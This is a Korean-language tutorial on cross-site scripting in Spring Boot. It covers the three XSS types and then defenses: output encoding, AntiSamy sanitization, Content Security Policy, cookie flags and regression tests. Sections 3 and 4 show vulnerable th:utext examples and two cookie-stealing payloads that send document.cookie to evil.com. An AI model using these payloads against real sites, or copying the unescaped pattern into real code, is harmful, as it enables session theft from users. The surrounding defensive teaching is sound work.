XSS: Spring Boot 애플리케이션에서의 공격과 방어

1. 개요

XSS(Cross-Site Scripting)는 가장 흔한 웹 취약점 중 하나로, 수년간 OWASP Top 10에 포함되어 있습니다. 이 글은 자주 발생하는 세 가지 XSS 유형을 이해하고, 실제 공격 사례를 살펴본 후, output encoding, Content Security Policy(CSP), 그리고 Spring Boot의 HTTP 헤더 설정을 활용한 방어 기법을 적용하는 방법을 알려줍니다. 이 글을 읽은 후 당신의 애플리케이션에서 XSS 취약점을 자체 검토하고 패치하는 방법을 알게 될 것입니다.

2. XSS란 무엇인가?

XSS는 웹 애플리케이션이 악의적인 JavaScript 코드를 페이지에 주입하도록 허용할 때 발생하며, 피해자의 브라우저는 이 코드를 합법적인 페이지의 일부로 실행합니다. 결과: 쿠키/세션 탈취, 사용자 작업 위조, 피싱 사이트로의 리다이렉트.

세 가지 주요 XSS 유형이 있습니다:

  • Reflected XSS: payload는 요청에 포함되어 있고(쿼리 문자열, 폼), 서버는 필터링 없이 즉시 응답을 반환합니다.
  • Stored XSS: payload는 데이터베이스에 저장되어(예: 댓글, 프로필) 이후 모두에게 표시됩니다 — 많은 사람에게 영향을 미치므로 더 위험합니다.
  • DOM-based XSS: payload는 서버를 거치지 않고, 클라이언트의 JavaScript가 안전하지 않은 데이터(URL, localStorage)를 읽어 DOM에 직접 쓰기를 합니다.

3. Reflected XSS 공격 예제

검색 키워드를 다시 표시하는 간단한 엔드포인트가 있다고 가정합니다:

@Controller
public class SearchController {

    @GetMapping("/search")
    public String search(@RequestParam String keyword, Model model) {
        model.addAttribute("keyword", keyword);
        return "search-result";
    }
}

Thymeleaf 템플릿은 th:utext(이스케이프되지 않은 텍스트)를 사용하여 표시합니다:

<p>검색 결과: <span th:utext="${keyword}"></span></p>

공격자가 피해자에게 이 링크를 보냅니다:

https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

피해자가 클릭하면, 브라우저는 스크립트를 실행하여 피해자의 쿠키를 evil.com으로 전송합니다. 근본 원인: th:utext는 특수 문자를 인코딩하지 않고 원본 HTML을 렌더링합니다.

주의: th:utext는 콘텐츠가 100% 신뢰할 수 있는 HTML일 때만 사용하세요(예: 관리자가 HTML 새니타이저로 작성한 경우). 기본적으로 항상 th:text를 사용하세요.

4. Stored XSS 공격 예제

Stored XSS는 payload가 시스템에 오래 지속되므로 더 위험합니다. 예를 들어 댓글 기능:

@Entity
public class Comment {
    @Id @GeneratedValue
    private Long id;
    private String content;
    private String authorName;
    // getters, setters
}

@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
    Comment comment = new Comment();
    comment.setContent(content);
    comment.setAuthorName(authorName);
    commentRepository.save(comment);
    return "redirect:/comments";
}

공격자가 다음 내용의 댓글을 보냅니다:

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

페이지가 댓글을 원본 HTML로 렌더링하면, 댓글 페이지를 보는 모든 사람의 쿠키가 탈취됩니다 — 링크를 클릭할 필요도 없습니다.

5. Output Encoding으로 방어

황금 규칙: output 시 데이터를 올바른 컨텍스트에 맞게 인코딩하세요, input 시가 아닙니다. HTML 컨텍스트에서 Thymeleaf는 기본적으로 th:text를 사용할 때 이스케이프합니다:

<!-- 안전: 자동으로 이스케이프됨 -->
<p th:text="${comment.content}"></p>

결과 비교:

Input:  <script>alert('XSS')</script>
Output (th:text): &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Output (th:utext): <script>alert('XSS')</script>  <!-- 위험 -->

th:text를 사용하면 브라우저는 문자 그대로의 문자열을 표시하며 스크립트를 실행하지 않습니다. 이는 첫 번째이자 가장 중요한 방어 계층입니다.

5.1. 다양한 컨텍스트에 맞는 인코딩

모든 output 위치가 HTML 인코딩을 사용하는 것은 아닙니다. 예를 들어 JavaScript 속성이나 URL에 값을 삽입할 때는 다른 인코딩이 필요합니다:

<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">프로필 보기</a>

<!-- Context: JavaScript string - 이런 식으로 하면 안 됩니다 -->
<script>
    var username = '[[${user.name}]]'; // 위험: name이 '); alert(1); // 를 포함하면
</script>

서버의 데이터를 스크립트에 전달해야 한다면, JSON으로 인코딩하고 data-* 속성에 배치하세요:

<div id="user-data" th:data-name="${user.name}"></div>
<script>
    const name = document.getElementById('user-data').dataset.name;
</script>

이 방법은 JavaScript 리터럴에 직접 문자열을 연결하는 것을 피하므로, 많은 DOM 기반 XSS 취약점의 원인을 제거합니다.

6. 리치 텍스트가 필요할 때 HTML 새니타이제이션

블로그 게시물처럼 HTML을 저장해야 할 때가 있습니다(굵게, 이탤릭, 링크 포함). 이 경우 모두를 인코딩할 수 없으므로 새니타이제이션 라이브러리를 사용하여 안전한 태그/속성을 화이트리스트로 지정해야 합니다.

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {

    private final Policy policy;

    public HtmlSanitizerService() throws PolicyException {
        this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
    }

    public String sanitize(String rawHtml) throws ScanException, PolicyException {
        AntiSamy antiSamy = new AntiSamy();
        CleanResults results = antiSamy.scan(rawHtml, policy);
        return results.getCleanHTML();
    }
}

antisamy-policy.xml 파일은 화이트리스트 태그(<b>, <i>, <a>는 http/https만 허용하는 href 포함…)를 정의합니다. 화이트리스트에 없는 모든 태그/속성(예: <script>, onerror)은 DB에 저장하기 전에 완전히 제거됩니다.

새니타이제이션 동작을 빠르게 테스트하세요:

@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
    HtmlSanitizerService sanitizer = new HtmlSanitizerService();

    String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
    String clean = sanitizer.sanitize(dirty);

    assertThat(clean)
        .contains("<p>Hello <b>world</b></p>")
        .doesNotContain("<script>");
}

주의: 새니타이제이션은 input(DB 저장 전, 다른 API를 통한 payload 누출 방지)과 output(렌더링 전) 모두에서 수행되어야 합니다(방어 깊이 극대화).

7. Content Security Policy(CSP)

CSP는 두 번째 방어 계층이며, output encoding/새니타이제이션을 통과한 XSS payload도 신뢰할 수 있는 소스에서만 스크립트를 실행하도록 브라우저를 제한합니다.

@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self'; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "object-src 'none'; " +
                    "base-uri 'self';"
                )
            )
        );
        return http.build();
    }
}

각 지시문 설명:

  • default-src 'self': 기본적으로 같은 출처에서만 리소스를 로드합니다.
  • script-src 'self': 당신의 도메인에서만 스크립트를 실행합니다 — 인라인 스크립트를 완전히 차단합니다(<script>alert(1)</script>는 유효한지 여부에 관계없이 브라우저가 실행을 거부합니다).
  • object-src 'none': Flash/플러그인을 차단하며, 오래된 공격 벡터이지만 여전히 존재합니다.

해당 응답 헤더:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';

공격자가 새니타이제이션을 통과하여 <img src=x onerror="...">를 삽입해도, script-src ‘self’를 가진 CSP는 인라인 event handler(onerror`)의 실행을 차단하므로(인라인 스크립트로 간주), 공격은 실패합니다.

7.1. CSP가 UI를 깨뜨리지 않는지 확인

프로덕션에서 strict CSP를 활성화하기 전에, 리포트 전용 모드를 사용하여 차단하지 않고 위반을 모니터링하세요:

headers.contentSecurityPolicy(csp -> csp
    .policyDirectives("default-src 'self'; script-src 'self'")
    .reportOnly()
);

브라우저는 리소스를 차단하지 않고 콘솔에만 경고를 기록합니다(그리고 report-uri가 있으면 리포트를 전송). 이 로그를 기반으로 실제 적용 전에 정책을 조정하세요.

8. HttpOnly와 SameSite로 쿠키 보안

XSS를 차단했더라도 한 가지 더: 스크립트가 세션 쿠키를 읽지 못하도록 하여 XSS가 발생해도 피해를 최소화하세요.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
  • http-only=true: JavaScript(document.cookie)는 이 쿠키를 읽을 수 없습니다 — 섹션 3의 쿠키 탈취 payload는 실패합니다.
  • secure=true: 쿠키는 HTTPS를 통해서만 전송됩니다.
  • same-site=strict: 다른 도메인의 요청과 함께 쿠키를 전송하지 않으므로 XSS와 결합된 CSRF 위험을 줄입니다.

9. 자동 테스트로 기본 XSS 발견

엔드포인트가 output을 올바르게 이스케이프하는지 확인하는 integration 테스트를 작성하여 코드 변경 시 회귀를 방지할 수 있습니다.

@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {

    @Autowired
    private TestRestTemplate restTemplate;

    @Test
    void search_shouldEscapeScriptTag_inResponseBody() {
        String payload = "<script>alert(1)</script>";

        ResponseEntity<String> response = restTemplate.getForEntity(
            "/search?keyword=" + payload, String.class);

        assertThat(response.getBody())
            .doesNotContain("<script>alert(1)</script>")
            .contains("&lt;script&gt;");
    }
}

이 테스트는 고전적인 XSS payload를 전송하고, 응답 본문이 원본 스크립트 태그를 포함하지 않음을 assert합니다 — 포함되어 있다면 템플릿이 잘못된 위치에서 th:utext를 사용하고 있다는 뜻입니다.

10. 자주 발생하는 오류 체크리스트

  • 새니타이제이션 없이 사용자 데이터에 th:utext, innerHTML, 또는 v-html(Vue) 사용.
  • 데이터를 data-* 속성이나 안전한 JSON 통신 대신 <script> 블록에 직접 문자열 연결.
  • input에서만 인코딩(DB에 저장)하고 output에서 인코딩을 잊음 — 표시 컨텍스트를 변경하면(예: CSV 내보내기, PDF 렌더링) DB의 “깨끗한” 데이터가 새 컨텍스트에서 여전히 위험할 수 있습니다.
  • script-src * 또는 unsafe-inline을 가진 너무 느슨한 CSP 활성화로 CSP가 XSS 차단 기능을 잃음.
  • 세션 쿠키에 HttpOnly를 잊음 — XSS 공격자가 다른 곳의 인코딩이 엄격해도 여전히 쿠키를 빼낼 수 있습니다.
  • 클라이언트 검증(JavaScript)만 믿고 서버에서 validation/인코딩을 다시 하지 않음 — 클라이언트 검증은 쉽게 우회됩니다.

주의: HTML 태그를 “필터링”하기 위해 직접 regex를 작성하지 마세요(예: regex로 <script> 제거). 공격자는 항상 우회 방법을 찾습니다(<ScRiPt>, <svg/onload=...>, 유니코드 인코딩…). AntiSamy 또는 OWASP Java HTML Sanitizer 같은 검증된 새니타이제이션 라이브러리를 사용하세요.

11. 결론

XSS는 복잡한 취약점이 아니지만, 사용자 데이터를 output하는 모든 곳에 숨어 있기 때문에 놓치기 쉽습니다. 효과적인 방어는 여러 계층이 필요합니다: 렌더링할 때 올바른 컨텍스트로 인코딩(th:utext 대신 th:text 우선), 리치 HTML을 허용해야 할 때 화이트리스트 새니타이제이션, payload가 통과하더라도 낯선 스크립트를 차단하기 위해 CSP 활성화, 그리고 XSS가 발생해도 피해를 최소화하려면 쿠키에 HttpOnly/Secure/SameSite 설정. 사용자 입력을 받는 모든 엔드포인트에 대해 이스케이핑을 확인하는 자동 테스트를 작성하세요 — 이것이 코드 변경 시 이 오류가 다시 나타나지 않도록 하는 가장 저렴한 방법입니다.

web-securityxssspring-bootowasp